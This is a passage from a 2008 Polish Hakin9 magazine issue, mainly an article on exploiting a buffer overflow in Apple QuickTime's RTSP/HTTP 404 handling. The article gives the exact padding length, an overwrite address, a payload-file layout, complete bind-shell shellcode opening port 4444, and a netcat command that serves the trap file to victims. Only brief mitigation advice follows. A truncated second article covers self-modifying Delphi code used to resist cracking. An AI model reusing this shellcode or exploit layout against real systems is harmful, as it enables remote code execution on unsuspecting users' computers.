Label1
.
Text
=
"Jesteś botem !!!"
;
}
Sławomir Orłowski
Z wykształcenia fizyk. Obecnie jest doktorantem na
Wydziale Fizyki, Astronomii i Informatyki Stosowanej
Uniwersytetu Mikołaja Kopernika w Toruniu. Zajmuje się
symulacjami komputerowymi układów biologicznych
(dynamika molekularna) oraz bioinformatyką.
Programowanie jest nieodzowną częścią jego
pracy naukowej i dydaktycznej. Ma doświadczenie w
programowaniu w językach C, C++, Delphi, Fortran, Java,
C# i Tcl. Współzałożyciel i koordynator grupy .NET WFAiIS.
Jest autorem artykułów i książek informatycznych.
Strona domowa: http://www.fizyka.umk.pl/~bigman/.
Kontakt z autorem: bigman@fizyka.umk.pl
20
HAKIN9
ATAK
6/2008
P
rodukty multimedialne firmy Apple już
od dawna są obecne wśród szerokich
rzeszy użytkowników komputerów.
Umożliwiają one odtwarzanie wielu formatów
plików multimedialnych w sposób łatwy i
wygodny, oferując przy tym przyjazny dla
oka interfejs. Dodatkowym atutem programu
QuickTime jest fakt, iż może być on użyty jako
plugin przeglądarki internetowej, co pozwoli nam
oglądać multimedia bezpośrednio na stronie
WWW. Nie zapominajmy też o stworzonym
właśnie z myślą o QuickTime formacie plików,
które mogą być odtwarzane tylko w tej aplikacji.
Mimo licznych zalet, oprogramowanie
to – jak wiele innych aplikacji – ma jedną
zasadniczą wadę, mianowicie znajdowane są
w nim błędy związane z kwestią, która powinna
być oczkiem w głowie każdego internauty –
bezpieczeństwem jego komputera. Tym razem
nie będzie inaczej. QuickTime – aplikacja,
która może działać samodzielnie, jak również
jako część pakietu iTunes – jest podatna na
atak związany z przepełnieniem bufora. Jak
nietrudno się domyślić, umożliwia to wykonanie
dowolnego kodu na komputerze ofiary. Na
dokładkę wszystko odbywa się zdalnie, za
pośrednictwem Internetu.
Protokół RTSP
Jak mówi definicja protokołu RTSP,
zaprojektowano go do użycia przez
strumieniowe aplikacje multimedialne. Brzmi
KONRAD ZUWAŁA
Z ARTYKUŁU
DOWIESZ SIĘ
jak wykorzystać lukę związaną
z przepełnieniem bufora w
aplikacjach Apple korzystających
z programu QuickTime,
co można zrobić w celu poprawy
bezpieczeństwa tych aplikacji.
CO POWINIENEŚ
WIEDZIEĆ
znać podstawy działania ataków
typu buffer overflow,
umieć obsługiwać system
Windows z poziomu wiersza
poleceń,
znać podstawy protokołu HTTP.
skomplikowanie, jednak w rzeczywistości jest
prostsze, aniżeli wydaje się być na pierwszy
rzut oka. RTSP (ang. Real Time Streaming
Protocol, czyli Protokół Strumieniowania Czasu
Rzeczywistego) jest protokołem bazującym na
komunikacji typu klient – serwer. Umożliwia on
pracę z plikami multimedialnymi, do których
uzyskujemy zdalny dostęp za pomocą klienta
takiego protokołu, np. QuickTime. Protokół ten
– mimo, iż powszechnie używany – jest dopiero
w fazie rozwoju; ciągle proponowane są nowe
udoskonalenia i opcje, które mają go uczynić
bardziej wszechstronnym i niezawodnym.
RTSP jest protokołem, który może do
przesyłania danych używać zarówno protokołu
TCP, jak i UDP. Założeniem jego twórców
było udostępnienie pewnego mechanizmu
kontroli wielu sesji transmisji danych – tak, aby
komunikacja przebiegała w należytej kolejności,
z zachowaniem szybkości i niezawodności
transmisji.
Protokół ten ma pełnić funkcję czegoś
w rodzaju pilota sterującego strumieniami
danych multimedialnych, które są aktualnie
przesyłane. Więcej na temat teoretycznej
strony działania opisywanego protokołu
można znaleźć pod adresami wskazanymi
w ramce W Sieci. My jednak zajmiemy się
praktycznym wykorzystaniem tych informacji
– kompromitacją QuickTime.
Usługa serwera tego protokołu działa
zwykle na porcie 554, jednak, gdy aplikacja
Stopień trudności
Hakowanie
QuickTime’a
Apple zdobył sobie zasłużoną sławę producenta multimediów.
QuickTime jest jednym z jego flagowych produktów, który cieszy
się dobrą sławą. Odkryto jednak błąd, który pozwala zaatakować
QuickTime’a.
21
HAKIN9
HAKOWANIE QUICKTIME’A
6/2008
taka jak QuickTime nie będzie mogła
połączyć się z tym portem, ponieważ
będzie on zamknięty, spróbuje ona
wybrać port http (czyli 80) jako domyślny
port połączenia. Aby zmusić aplikację
Apple'a do połączenia się z serwerem
RTSP, wystarczy w przeglądarce kliknąć
odnośnik do strony opisany URLem
wywołującym ten protokół, np. rtsp:
//jakasStrona.com/plik.mp3. Przykładowa
strona może wyglądać tak, jak ta
zaprezentowana na Listingu 1.
Znając już podstawy działania
protokołu RTSP, jesteśmy w stanie
przejść do dalszej części układanki,
mianowicie przepełnienia bufora
związanego właśnie z obsługą tego
protokołu.
RTSP, HTTP, czyli jak
przepełnić bufor QuickTime
Problem w QuickTime, odkryty
przez Luigi'ego Auriemma, polega
na zachowaniu tegoż programu w
przypadku, gdy wywołujemy połączenie
z serwerem RTSP, jednak ten nie
nasłuchuje na porcie 554. Zgodnie
z tym, co było napisane wcześniej,
QuickTime w takiej sytuacji podejmuje
próbę połączenia na porcie 80. Jest
to domyślny port protokołu HTTP,
tak więc aplikacja przełącza się
właśnie na HTTP, wkraczając tym
samym na dość niepewny grunt.
Przepełnienie bufora następuje wtedy,
gdy za pomocą protokołu HTTP do
programu zostaje wysłany kod błędu
404 (strony nie znaleziono). Jest on
niepoprawnie obsługiwany przez
aplikację, umożliwiając dokonanie
ataku związanego z przepełnieniem
bufora. A przepełnienie bufora zwykle
pozwala nam wykonać dowolny kod
na komputerze ofiary – to jest właśnie
naszym celem.
Przepełnienie bufora następuje wtedy,
gdy nasz spreparowany serwer HTTP
wyśle kod błędu 404. Zła implementacja
obsługi tego kodu w QuickTime
sprawia, że jesteśmy w stanie nadpisać
4–bajtowym ciągiem adres powrotu z
funkcji. Dzięki temu możemy wstawić w to
miejsce adres, w którym znajduje się nasz
shellcode. Demonstruje to Rysunek 2.
Jak widać z tego schematu, zasada
działania naszego exploita będzie
dość prosta. Wystarczy, że nadpiszemy
odpowiedni adres w pamięci – tak, aby
wykonanie programu przeskoczyło do
naszego shellcodu. Shellcode powinien
więc znajdować się w miejscu w
pamięci, które będzie nam znane i do
którego będziemy w stanie się odwołać
za pośrednictwem asemblerowej
instrukcji
JMP adresShellcode
. Sam
shellcode musi być tak skonstruowany,
aby mieścił się w buforze, do którego
zamierzamy go wkleić, winien również
przynosić nam wymierne korzyści
w postaci np. otwarcia powłoki na
zadanym porcie.
Warto wspomnieć, iż nie jest to
klasyczny atak przepełnienia bufora, który
zwykle ma miejsce, gdy nadpisywany
jest adres powrotu znajdujący się
na stosie. My staramy się nadpisać
adres, który znajduje się w rejestrze
procesora, a w klasycznej definicji
przepełnienia bufora złośliwy adres jest
po prostu kładziony na stosie – tak, aby
asemblerowe wywołanie
RET
pobrało
nie adres właściwej funkcji, tylko adres
shellcode.
Budujemy exploit
Zanim przystąpimy do rzeczywistej
budowy exploita, musimy najpierw
poznać pełne założenia niezbędne do
jego prawidłowego działania. Adres
w pamięci, który musimy nadpisać,
położony jest dokładnie 1926 bajtów
od miejsca, w którym wyświetlana jest
wiadomość o błędzie, znajdująca się
z kolei 486 bajtów przed początkiem
bufora, który przyjmie spreparowane
przez nas dane. Dostajemy więc 1440
bajtów, które mogą być dowolnym
ciągiem śmieci, zaczynającym się
oczywiście od znaków
HTTP/1.1 404
.
Po ciągu śmieci winien znajdować się
Rysunek 1.
Program iTunes – pakiet multimedialny Apple korzystający z QuickTime
Listing 1.
Przykładowa strona z odwołaniem do serwera RTSP
<
HTML
>
<
BODY
>
<
A HREF=”rtsp://jakasStrona.com/piosenka.mp3”
>
Strona rtsp
<
/A
>
<
/BODY
>
<
/HTML
>
ATAK
22
HAKIN9 6/2008
23
HAKIN9
6/2008
HAKOWANIE QUICKTIME’A
czterobajtowy adres, który – w wyniku
naszej exploitacji – zostanie zapisany
do rejestru EAX procesora atakowanej
maszyny. Zawartość rejestru EAX będzie
wskazywać na adres w pamięci miejsca,
w którym nastąpiło przepełnienie, tak
więc nasz shellcode powinien znajdować
się dokładnie 4 bajty za tym miejscem
– tyle zajmują 32 bity adresu, który
skopiujemy do rejestru EAX. Następnie
w programie wywoływana jest instrukcja
JMP EAX
. Autor celowo nie zachowuje
składni odpowiedniej dla któregoś
z asemblerów, pozostawiając jego
wybór Czytelnikowi – czy polecenie
będzie wyglądać tak, czy też np.
JMP
%EAX
, zależeć będzie od używanego
asemblera.
Adres w pamięci, od którego musimy
odliczyć rzeczone 1926 bajtów, to
szesnastkowo 0x6761d559. Dodatkowo
– dla bezpieczeństwa – shellcode
winien zaczynać się od 4–bajtowego
ciągu instrukcji
NOP
, co pomoże choćby
w przypadku, gdybyśmy zrobili błąd
w obliczeniach i np. nie uwzględnili
rozmiaru adresu nadpisania. Po tym
ciągu winien następować docelowy kod
shellcode, który zostanie wykonany na
maszynie ofiary.
Listing 2. demonstruje, jak winien
wyglądać plik, który wyślemy ofierze za
pomocą protokołu HTTP. Zaczyna się
od ciągu informującym o napotkaniu
błędu, dalej następuje ciąg śmieci
mających na celu przepełnić bufor.
Warto wspomnieć, że ciąg śmieci może
być dowolnym znakiem drukowalnym
– nie można używać znaków NULL ani
znaków specjalnych ASCII (powrotu
karetki, nowego wiersza, wcięcia etc).
Po ciągu śmieci napotykamy na adres
w pamięci, który wskazuje na nasz
shellcode – adres bazowy + offset,
czyli łącznie 1930 bajtów (pamiętajmy,
że sam adres też zajmuje miejsce w
pamięci). Teraz pora na shellcode, który
jest oczywiście skompilowany do postaci
binarnej. Zaczyna się on od 4–bajtowego
ciągu NOPów (jak wspominałem
wyżej – pełniących rolę dodatkowego
zabezpieczenia dla prawidłowego
zadziałania złośliwego kodu). Gotowy
shellcode możemy pobrać z Internetu lub
też stworzyć samodzielnie za pomocą
np. biblioteki InlineEgg, opisywanej
we wcześniejszych numerach Hakin9.
Przykładowy shellcode otwierający
powłokę na porcie 4444 zaprezentowany
jest na Listingu 3.
Pozostaje jeszcze tylko jeden
problem – w jaki sposób przesłać tak
spreparowany plik do ofiary? Z pomocą
przychodzi nam niezawodny program
netcat, który możemy uruchomić w trybie
serwera nasłuchującego na danym
porcie, tak, aby zaraz po połączeniu się
z tym portem wysłał spreparowany przez
Rysunek 2.
Schemat przepełnienia bufora
QuickTime
początek bufora
nadpisany adres powrotu z funkcji
segment pamięci zawierający shellcode
Rysunek 3.
QuickTime pod debuggerem IDA
Rysunek 4.
Zdalna powłoka na komputerze ofiary - udana exploitacja
W Sieci:
• http://tools.ietf.org/html/rfc2326 – opis protokołu RTSP,
• http://www.us-cert.gov/reading_room/securing_browser – zabezpieczanie przeglądarki
Internetowej przed atakami opisanego typu,
• http://www.apple.com/quicktime – strona domowa programu QuickTime.
ATAK
22
HAKIN9 6/2008
23
HAKIN9
6/2008
HAKOWANIE QUICKTIME’A
nas plik do ofiary i zakończył połączenie.
Opisywane wywołanie programu netcat
zaprezentowane jest na Listingu 4.
Oczywiście, do poprawnego działania
netcata wymagane jest odblokowanie
portu na firewallu i posiadanie praw
administratora – uruchomienie usługi
na porcie niższym niż 1024 jest zwykle
ograniczane przez używany system
operacyjny, naturalnie ze względów
bezpieczeństwa.
Jak się zabezpieczyć?
Opisywana podatność dotyczy
QuickTime w wersji niższej bądź równej
7.3.1.70, na systemach operacyjnych
Windows bądź Mac. Linux po raz kolejny
okazał się być odpornym na podobnego
rodzaju ataki. Na dzień pisania artykułu
nie istniała żadna łata umożliwiająca
wyeliminowanie błędu. Pozostaje więc
pytanie, w jaki sposób zabezpieczyć się
przed tego typu atakiem?
Metod jest kilka – jednak im
bardziej chcemy być bezpieczni, tym
bardziej ograniczymy dostępną dla nas
funkcjonalność. Podstawową metodą
jest z pewnością zablokowanie protokołu
RTSP w przeglądarce internetowej
bądź korzystanie z serwera proxy, który
automatycznie blokuje tenże protokół.
Użytkownicy jeszcze bardziej wrażliwi
na punkcie swojego bezpieczeństwa
mogą w ogóle odinstalować z systemu
oprogramowanie QuickTime (a co
za tym idzie, również iTunes, które
używa QuickTime). Z pewnością nie
jest to jednak najlepszy pomysł, gdyż
pozbywanie się ulubionego programu
do odtwarzania multimediów z powodu
wykrycia w nim błędu mija się nieco
z celem – gdyby postępować w ten
sposób, musielibyśmy pewnie w ogóle
zaprzestać korzystania z komputera,
albowiem ciągle wykrywane są nowe
błędy w oprogramowaniu.
Zablokowanie pluginu QuickTime
w przeglądarkach z rodziny Mozilla
(bądź formantu ActiveX w Internet
Explorerze) powinno uchronić nas przed
następstwami używania dziurawego
QuickTime, jednak znów mamy tu do
czynienia ze znaczącym ograniczeniem
naszego komfortu i funkcjonalności
wykorzystywanego komputera.
Pozostaje więc mieć nadzieję, że patch
naprawiający opisany błąd wkrótce
pojawi się na stronach Apple.
Podsumowanie
Opisana w artykule luka w
oprogramowaniu Apple pozwala na
uruchomienie praktycznie dowolnego
kodu na komputerze nieświadomego
użytkownika, co może prowadzić do
przykrych konsekwencji. Nawet w
programach takich, jak QuickTime,
które z pozoru wydają się być mało
atrakcyjnym celem dla atakującego,
znajdowane są błędy, które pozwalają
na zdalne wykonanie złośliwego
kodu. Słusznymi więc wydają się
być podstawowe zasady, których
przestrzeganie zagwarantuje nam tak
pożądane bezpieczeństwo: korzystanie
do codziennego użytku z konta
innego niż administracyjne, używanie
tylko pewnego oprogramowania i
omijanie witryn, które nie wzbudzają
w nas należytego zaufania. Pozostaje
więc mieć nadzieję, że Czytelnik,
omijając nieznane strony internetowe z
odnośnikami rtsp://, nie stanie się ofiarą
takiego ataku.
Listing 2.
Plik – zasadzka
HTTP/1.1 404
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxx
// litera x powtarza się 1440 razy – ciąg śmieci
// w tym miejscu skompilowane adres w pamięci i shellcode:
0x6761DCE3 // 0x6761d559 + 0x786 + 0x4
//shellcode jest oczywiście skompilowany binarnie
NOP NOP NOP NOP
docelowyKod
Listing 3.
Shellcode uruchamiający powłokę na porcie 4444
char
shellcode
[]=
"
\x
90
\x
90
\x
90
\x
90"
//
4
-
bajtowy
ci
ą
g
nop
ó
w
"
\x
33
\x
c9
\x
83
\x
e9
\x
b0
\x
d9
\x
ee
\x
d9
\x
74
\x
24
\x
f4
\x
5b
\x
81
\x
73
\x
13
\x
af"
"
\x
99
\x
e8
\x
2f
\x
83
\x
eb
\x
fc
\x
e2
\x
f4
\x
53
\x
f3
\x
03
\x
62
\x
47
\x
60
\x
17
\x
d0"
"
\x
50
\x
f9
\x
63
\x
43
\x
8b
\x
bd
\x
63
\x
6a
\x
93
\x
12
\x
94
\x
2a
\x
d7
\x
98
\x
07
\x
a4"
"
\x
e0
\x
81
\x
63
\x
70
\x
8f
\x
98
\x
03
\x
66
\x
24
\x
ad
\x
63
\x
2e
\x
41
\x
a8
\x
28
\x
b6"
"
\x
03
\x
1d
\x
28
\x
5b
\x
a8
\x
58
\x
22
\x
22
\x
ae
\x
5b
\x
03
\x
db
\x
94
\x
cd
\x
cc
\x
07"
"
\x
da
\x
7c
\x
63
\x
70
\x
8b
\x
98
\x
03
\x
49
\x
24
\x
95
\x
a3
\x
a4
\x
f0
\x
85
\x
e9
\x
c4"
"
\x
ac
\x
b5
\x
63
\x
a6
\x
c3
\x
bd
\x
f4
\x
4e
\x
6c
\x
a8
\x
33
\x
4b
\x
24
\x
da
\x
d8
\x
a4"
"
\x
ef
\x
95
\x
63
\x
5f
\x
b3
\x
34
\x
63
\x
6f
\x
a7
\x
c7
\x
80
\x
a1
\x
e1
\x
97
\x
04
\x
7f"
"
\x
50
\x
4f
\x
8e
\x
7c
\x
c9
\x
f1
\x
db
\x
1d
\x
c7
\x
ee
\x
9b
\x
1d
\x
f0
\x
cd
\x
17
\x
ff"
"
\x
c7
\x
52
\x
05
\x
d3
\x
94
\x
c9
\x
17
\x
f9
\x
f0
\x
10
\x
0d
\x
49
\x
2e
\x
74
\x
e0
\x
2d"
"
\x
fa
\x
f3
\x
ea
\x
d0
\x
7f
\x
f1
\x
31
\x
26
\x
5a
\x
34
\x
bf
\x
d0
\x
79
\x
ca
\x
bb
\x
7c"
"
\x
fc
\x
ca
\x
ab
\x
7c
\x
ec
\x
ca
\x
17
\x
ff
\x
c9
\x
f1
\x
f9
\x
73
\x
c9
\x
ca
\x
61
\x
ce"
"
\x
3a
\x
f1
\x
4c
\x
35
\x
df
\x
5e
\x
bf
\x
d0
\x
79
\x
f3
\x
f8
\x
7e
\x
fa
\x
66
\x
38
\x
47"
"
\x
0b
\x
34
\x
c6
\x
c6
\x
f8
\x
66
\x
3e
\x
7c
\x
fa
\x
66
\x
38
\x
47
\x
4a
\x
d0
\x
6e
\x
66"
"
\x
f8
\x
66
\x
3e
\x
7f
\x
fb
\x
cd
\x
bd
\x
d0
\x
7f
\x
0a
\x
80
\x
c8
\x
d6
\x
5f
\x
91
\x
78"
"
\x
50
\x
4f
\x
bd
\x
d0
\x
7f
\x
ff
\x
82
\x
4b
\x
c9
\x
f1
\x
8b
\x
42
\x
26
\x
7c
\x
82
\x
7f"
"
\x
f6
\x
b0
\x
24
\x
a6
\x
48
\x
f3
\x
ac
\x
a6
\x
4d
\x
a8
\x
28
\x
dc
\x
05
\x
67
\x
aa
\x
02"
"
\x
51
\x
db
\x
c4
\x
bc
\x
22
\x
e3
\x
d0
\x
84
\x
04
\x
32
\x
80
\x
5d
\x
51
\x
2a
\x
fe
\x
d0"
"
\x
da
\x
dd
\x
17
\x
f9
\x
f4
\x
ce
\x
ba
\x
7e
\x
fe
\x
c8
\x
82
\x
2e
\x
fe
\x
c8
\x
bd
\x
7e"
"
\x
50
\x
49
\x
80
\x
82
\x
76
\x
9c
\x
26
\x
7c
\x
50
\x
4f
\x
82
\x
d0
\x
50
\x
ae
\x
17
\x
ff"
"
\x
24
\x
ce
\x
14
\x
ac
\x
6b
\x
fd
\x
17
\x
f9
\x
fd
\x
66
\x
38
\x
47
\x
5f
\x
13
\x
ec
\x
70"
"
\x
fc
\x
66
\x
3e
\x
d0
\x
7f
\x
99
\x
e8
\x
2f"
;
Listing 4.
Wywołanie programu netcat w trybie serwera
nc -l -p 80 -v -v -n < ourPreparedFile.txt
Konrad Zuwała
Autor zajmuje się bezpieczeństwem aplikacji
internetowych oraz szeroko rozumianą ochroną
systemów komputerowych. W wolnych chwilach
programuje (głównie C/C++, PHP) oraz zarządza
portalem internetowym.
Kontakt z autorem: kzuwala@poczta.onet.pl
24
HAKIN9
ATAK
6/2008
P
odstawowym zabezpieczeniem jest
utrudnienie deasemblacji i analizy
newralgicznych fragmentów kodu aplikacji
odpowiedzialnych za realizację algorytmu
generującego klucze aktywacyjne i ich weryfikację.
Podstawową metodą utrudnienia analizy kodu jest
zastosowanie techniki SMC (ang. self modifying
code), czyli samomodyfikującego się kodu.
Ogólnie polega ona na dynamicznej generacji
kodu podczas wykonywania programu i jego
modyfikacji. Stosuje się też szyfrowanie kodu i
jego deszyfrowanie w locie.
Artykuł porusza kwestię zabezpieczania plików
wykonywalnych przed odkrywaniem przez osoby
nieuprawnione algorytmów do szyfrowania i
generowania kluczy, zabezpieczających aplikacje
Windows napisane w środowisku Delphi.
Podstawowym zabezpieczeniem jest utrudnienie
deasemblacji i analizy newralgicznych fragmentów
kodu aplikacji odpowiedzialnych za realizację
algorytmu generującego klucze aktywacyjne i
ich weryfikację. Podstawową metodą utrudnienia
analizy kodu jest zastosowanie techniki SMC (ang.
self modifying code), czyli samomodyfikującego
się kodu. Ogólnie polega ona na dynamicznej
generacji kodu podczas wykonywania programu i
jego modyfikacji. Stosuje się też szyfrowanie kodu i
jego deszyfrowanie w locie.
W artykule przedstawiam przykładową
aplikację Delphi z prostym generatorem kluczy
napisanym w technice
SMC
. Aby zrozumieć
przykładowy kod, trzeba znać podstawy języka
ARTUR KOZUBSKI
Z ARTYKUŁU
DOWIESZ SIĘ
co to jest technika SMC i jak ją
stosować do ochrony swoich
aplikacji,
jak stosować wbudowany
asembler Delphi do pisania
samomodyfikującego się kodu,
jak wykorzystać debugger Delphi
do śledzenia programu na
poziomie CPU.
CO POWINIENEŚ
WIEDZIEĆ
posiadać podstawową
znajomość środowiska Delphi i
języka Object Pascal,
mieć ogólne pojęcie o
architekturze x86,
znać podstawy asemblera x86
(dodatkowa ramka może być
pomocna dla osób nieznających
asemblera).
Obejct Pascal oraz asemblera
x86
, który
umożliwia napisanie samomodyfikującego
się kodu. Zastosowana metoda
SMC
jest
mieszanką technik przedstawionych w
ramce Charakterystyka
SMC
. Nie jest to więc
ściśle klasyfikowalny przykład SMC, ale mój
własny pomysł, na który wpadłem jeszcze
przed głębszym zainteresowaniem się tym
zagadnieniem i poznaniem klasycznych
metod
SMC
. Można stwierdzić, że jest to
przykład zaawansowanego polimorfizmu z
elementami metamorficznymi. Od klasycznej
metody polimorficznej odróżnia go m.in. brak
szyfrowania całego kodu, a jedynie zastosowanie
we właściwym kodzie metod utrudniających
zrozumienie funkcji deszyfrującej w typowej
metodzie polimorficznej. Zastosowałem
zatem wymienione metody bezpośrednio do
generatora klucza, zamiast do ewentualnego
kodu szyfrującego ten generator. Przykładem
metamorfizmu mogą być składane w locie
niektóre instrukcje i przemieszczanie ich w
pamięci oraz zmiana zawartości segmentu kodu
generatora przy każdej iteracji w głównej pętli.
Zasada działania przykładowego
programu
Program pobiera dwa łańcuchy wejściowe.
Pierwszy jest właściwym tekstem podlegającym
zakodowaniu i późniejszej weryfikacji, drugi jest
losowym łańcuchem dowolnych znaków (o
długości równej łańcuchowi podstawowemu).
Stopień trudności
Kod w Delphi
– zmora
crackera
Artykuł porusza kwestię zabezpieczania plików wykonywalnych
przed odkrywaniem przez osoby nieuprawnione algorytmów do
szyfrowania i generowania kluczy, zabezpieczających aplikacje
Windows napisane w środowisku Delphi.
25
HAKIN9
KOD W DELPHI – ZMORA CRACKERA
6/2008
Następnie łączy te dwa łańcuchy według
odpowiedniego algorytmu zakodowanego
w asemblerze z wykorzystaniem SMC.
Przykładowy wynik działania
algorytmu jest przedstawiony w ramce.
Do odszyfrowania wymagany jest
oczywiście łańcuch wyjściowy i użyty
do jego wygenerowania losowy
klucz. Wersja podstawowa, napisana
tylko w języku Pascal – bez użycia
wstawek asemblerowych
SMC
, jest
przedstawiona na Listingu 1. Kod
pozwala też na zapoznanie się z
zastosowanym w przykładzie prostym
algorytmem szyfrującym. Zakodowanie
tekstu wejściowego polega na
wygenerowaniu – przy pomocy
funkcji
SMC _ GenHashStr(StrLen:
Integer)
– losowego klucza, będącego
łańcuchem tekstowym o długości
równej kodowanemu łańcuchowi,
składającym się ze znaków o kodach
od 0 do 255 i połączeniu go za
pomocą operacji różnicy symetrycznej
(XOR) z łańcuchem wejściowym.
Operacja XOR jest wykonywana na
różnicy delta, zwiększonej o bieżącą
Listing 1.
Funkcja szyfrująca w wersji bez wstawek asemblerowych i SMC
{ Funkcja pomocnicza – zamienia podany bajt na zapis szesnastkowy z wiodącym zerem }
function
SMC_Byte2HexStr15
(
Num
:
Byte
):
Char
;
begin
if
(
Num
>=
0
)
and
(
Num
<=
9
)
then
SMC_Byte2HexStr15
:=
Chr
(
Ord
(
'0'
)
+
Num
)
else
SMC_Byte2HexStr15
:=
Chr
(
Ord
(
'A'
)
+
Num
-
10
);
end
;
{ Funkcja pomocnicza – zamienia podany znak zapisu szesnastkowego na liczbę całkowitą
}
function
SMC_HexStr2Integer15
(
HexChar
:
Char
):
Integer
;
begin
if
(
HexChar
>=
'0'
)
and
(
HexChar
<=
'9'
)
then
SMC_HexStr2Integer15
:=
Ord
(
HexChar
)
-
Ord
(
'0'
)
else
SMC_HexStr2Integer15
:=
Ord
(
HexChar
)
-
Ord
(
'A'
)
+
10
;
end
;
{ Pomocnicza funkcja generująca losowy łańcuch tekstowy o zadanej długości }
function
SMC_GenHashStr
(
StrLen
:
Integer
):
AnsiString
;
var
i
:
Integer
;
outStr
:
AnsiString
;
begin
SetLength
(
outStr
,
StrLen
);
Randomize
();
for
i
:=
1
to
StrLen
do
outStr
[
i
]
:=
Chr
(
Random
(
256
));
SMC_GenHashStr
:=
outStr
;
end
;
{ Funkcja szyfrująca – wersja bez zastosowania SMC
InputStr – łańcuch wejściowy przeznaczony do zakodowania
HashStr – losowy łańcuch pełniący rolę klucza szyfrowania }
function
EncryptStr
(
InputStr
,
HashStr
:
AnsiString
):
AnsiString
;
var
i
,
delta
,
EncVal
:
Integer
;
Char1
,
Char2
:
Char
;
HexStr
:
AnsiString
;
outStr
:
AnsiString
;
begin
outStr
:=
''
;
if
Length
(
InputStr
)
<>
Length
(
HashStr
)
then
Exit
;
SetLength
(
HexStr
,
8
);
for
i
:=
1
to
Length
(
InputStr
)
do
begin
Char1
:=
InputStr
[
i
];
Char2
:=
HashStr
[
i
];
{ Obliczenie wartości wyjściowej }
delta
:=
Ord
(
Char1
)
–
Ord
(
Char2
);
EncVal
:=
(
delta
+
i
)
xor
Ord
(
Char2
);
{ Zamiana obliczonej wartości wyjściowej na zapis szesnastkowy (jako liczby 32-
bitowej) }
HexStr
[
1
]
:=
SMC_Byte2HexStr15
(
EncVal
and
$
000000F
);
HexStr
[
2
]
:=
SMC_Byte2HexStr15
((
EncVal
and
$000000
F0
)
shr
4
);
HexStr
[
3
]
:=
SMC_Byte2HexStr15
((
EncVal
and
$00000
F00
)
shr
8
);
HexStr
[
4
]
:=
SMC_Byte2HexStr15
((
EncVal
and
$0000
F000
)
shr
12
);
HexStr
[
5
]
:=
SMC_Byte2HexStr15
((
EncVal
and
$000
F0000
)
shr
16
);
HexStr
[
6
]
:=
SMC_Byte2HexStr15
((
EncVal
and
$00
F00000
)
shr
20
);
HexStr
[
7
]
:=
SMC_Byte2HexStr15
((
EncVal
and
$0
F000000
)
shr
24
);
HexStr
[
8
]
:=
SMC_Byte2HexStr15
((
EncVal
and
$
F0000000
)
shr
28
);
outStr
:=
outStr
+
HexStr
;
end
;
EncryptStr
:=
outStr
;
end
;
Rysunek 1.
Widok okna testowej aplikacji
SMC
Rysunek 2.
Widok źródła Pascala
podczas śledzenia aplikacji
Przykład działania
funkcji szyfrującej SMC
Tekst wejściowy: Hakin9
Tekst wyjściowy: 5AFFFFFF36FFFFFF88FFFFF
FD4000000B6000000F3000000
ATAK
26
HAKIN9 6/2008
KOD W DELPHI – ZMORA CRACKERA
27
HAKIN9
6/2008
Listing 2a.
Funkcja szyfrująca z wstawkami asemblerowymi SMC
{ Funkcja szyfrująca – wersja z zastosowaniem SMC
InputStr – łańcuch wejściowy przeznaczony do zakodowania
HashStr – losowy łańcuch pełniący rolę klucza szyfrowania }
function
SMC_EncryptStr
(
InputStr
,
HashStr
:
AnsiString
):
AnsiString
;
var
i
,
delta
,
EncVal
:
Integer
;
OldProtect
:
Integer
;
{ Oryginalna wartość flag praw dostępu
do modyfikowanego kodu}
Char1
,
Char2
:
Char
;
StartAddr
:
Pointer
;
{ Początkowy adres bloku modyfikowanego
kodu – etykieta l1 }
CodeSize
:
Integer
;
{ Rozmiar bloku modyfikowanego kodu
– między etykietami l1 i l9 }
HexStr
:
AnsiString
;
outStr
:
AnsiString
;
label
l0
,
l1
,
l2
,
l3
,
l4
,
l5
,
l6
,
l7
,
l8
,
l9
;
begin
outStr
:=
''
;
if
Length
(
InputStr
)
<>
Length
(
HashStr
)
then
Exit
;
SetLength
(
HexStr
,
8
);
{ Obliczenie rozmiaru bloku modyfikowanego kodu }
asm
MOV
EAX
,
OFFSET
l1
{ Pobranie adresu etykiety l1 do
EAX (początek) }
MOV
StartAddr
,
EAX
{ Przepisanie zawartości
akumulatora do odpowiedniej zmiennej }
MOV
EAX
,
OFFSET
l9
{ Pobranie adresu etykiety l9 do
EAX (koniec) }
SUB
EAX
,
OFFSET
l1
{ Obliczenie rozmiaru kodu jako
różnicy adresów l9 i l1 }
MOV
CodeSize
,
EAX
{ Zapisanie wyniku odejmowania w
odpowiedniej zmiennej }
end
;
{ Ustawienie praw do wykonywania, odczytu i zapisu (PAGE_
EXECUTE_READWRITE ) w
interesującym nas obszarze pamięci (stronie) z
zapamiętaniem oryginalnych atrybutów }
VirtualProtect
(
StartAddr
,
CodeSize
,
PAGE_EXECUTE_READWRITE
,
@
OldProtect
);
{ Główna pętla funkcji }
for
i
:=
1
to
Length
(
InputStr
)
do
begin
Char1
:=
InputStr
[
i
];
Char2
:=
HashStr
[
i
];
asm
MOV
EAX
,
OFFSET
l3
{ Zapisanie adresu etykiety
l3 w rejestrze akumulatora EAX }
PUSH
EAX
{ Odłożenie zawartości EAX na stosie
– do późniejszych obliczeń }
MOV
BYTE
PTR
[
EAX
]
,
AH
{ Zapisanie pod adresem
l3 losowej wartości z AH }
MOV
AL
,
Char2
{ Pobranie do AL znaku z łańcucha
klucza }
MOV
BYTE
PTR
l4
+
2
,
AL
{ Zapisanie kodu znaku z
AL 2 bajty za adresem l4 }
POP
EDX
{ Zdjęcie ze stosu uprzednio
zapamiętanej zawartości EAX i zapis do
EDX }
MOV
WORD
PTR
l1
,
CX
{ Zapis losowego słowa z CX
pod adresem etykiety l1 }
JMP
l7
l0
:
MOV
DWORD
PTR
l9
-
4
,
EBX
{ Zapis losowego
podwójnego słowa z EBX przed l9 }
JMP
l5
l1
:
DW
0
F00Fh
{ Początkowy „śmieciowy kod” – tu
znajdzie się później rozkaz skoku do l8
}
l2
:
JMP
SMALL
l2
{ Nieużywany kod – „zmyłka” }
l3
:
DD
0
FF0A0032h
{ Początkowy „śmieciowy kod” }
DB
0
Bh
{ Kawałek kodu krótkiego skoku względnego
(0EBh) – JMP SHORT }
@
sub_opcode
:
{ kod odpowiadający operacji: delta :=
Ord(Char1) – Ord(Char2); }
SUB
EAX
,
EDX
@
add_opcode
:
